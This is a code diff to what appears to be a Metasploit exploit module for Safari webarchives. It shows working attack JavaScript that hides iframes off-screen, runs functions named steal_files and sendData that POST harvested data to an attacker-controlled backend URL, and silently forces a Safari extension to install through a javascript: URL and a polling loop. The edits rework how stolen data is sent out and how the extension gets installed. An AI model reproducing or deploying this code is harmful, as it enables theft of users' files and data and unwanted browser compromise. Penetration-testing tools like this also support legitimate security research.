@@ -91,24 +91,8 @@ def wrap_with_script(&blk)
91
91
# @return [String] mark up for embedding the iframes for each URL in a place that is
92
92
# invisible to the user
93
93
def iframes_container_html
94
- hidden_style = "position:fixed; left:-600px; top:-600px;"
95
94
wrap_with_doc do
96
- communication_js + injected_js_helpers + steal_files + install_extension + message
97
- end
98
- end
99
-
100
- # @return [String] javascript code, wrapped in script tags, that is inserted into the
101
- # WebMainResource (parent) frame so that child frames can communicate "up" to the parent
102
- # and send data out to the listener
103
- def communication_js
104
- wrap_with_script do
105
- %Q|
106
- window.addEventListener('message', function(event){
107
- var x = new XMLHttpRequest;
108
- x.open('POST', '#{ backend_url } #{ collect_data_uri } ', true);
109
- x.send(event.data);
110
- });
111
- |
95
+ injected_js_helpers + steal_files + install_extension + message
112
96
end
113
97
end
114
98
@@ -122,23 +106,20 @@ def install_extension
122
106
raise "EXTENSION_ID datastore option missing" unless datastore [ 'EXTENSION_ID' ] . present?
123
107
wrap_with_script do
124
108
%Q|
109
+ var qq = null;
125
110
var extURL = atob('#{ Rex ::Text . encode_base64 ( datastore [ 'EXTENSION_URL' ] ) } ');
126
111
var extID = atob('#{ Rex ::Text . encode_base64 ( datastore [ 'EXTENSION_ID' ] ) } ');
127
112
128
113
function go(){
129
114
window.focus();
130
- window.open('javascript:safari&&(safari.installExtension\| \| (window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', 'x')
131
- }
132
- if (!window.x){
133
- alert(1);
134
- window.onclick = function(){
135
- x = window.open('#{ apple_extension_url } ', 'x');
136
- setInterval(go, 400);
137
- };
138
- } else {
139
- setInterval(go, 400);
115
+ qq.open('javascript:safari&&(safari.installExtension\| \| (window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self');
140
116
}
141
-
117
+ window.addEventListener('message', function(e) {
118
+ if (!qq && e.data === 'EXT') {
119
+ qq = e.source;
120
+ setInterval(go, 3000);
121
+ }
122
+ });
142
123
|
143
124
end
144
125
end
@@ -327,7 +308,11 @@ def injected_js_helpers
327
308
window.sendData = function(key, val) {
328
309
var data = {};
329
310
data[key] = val;
330
- window.top.postMessage(JSON.stringify(data), "*")
311
+
312
+ var x = new XMLHttpRequest;
313
+ x.open('POST', '#{ backend_url } #{ collect_data_uri } ', true);
314
+ x.setRequestHeader('Content-type', 'text/plain')
315
+ x.send(JSON.stringify(data));
331
316
};
332
317
|
333
318
end
@@ -355,7 +340,7 @@ def webarchive_download_url
355
340
356
341
# @return [String] HTML content that is rendered in the <body> of the webarchive.
357
342
def message
358
- "<p>You are being redirected. <a href='#'>Click here if nothing happens</a>. </p>"
343
+ "<p>You are being redirected.</p>"
359
344
end
360
345
361
346
# @return [Array<String>] of URLs provided by the user
0 commit comments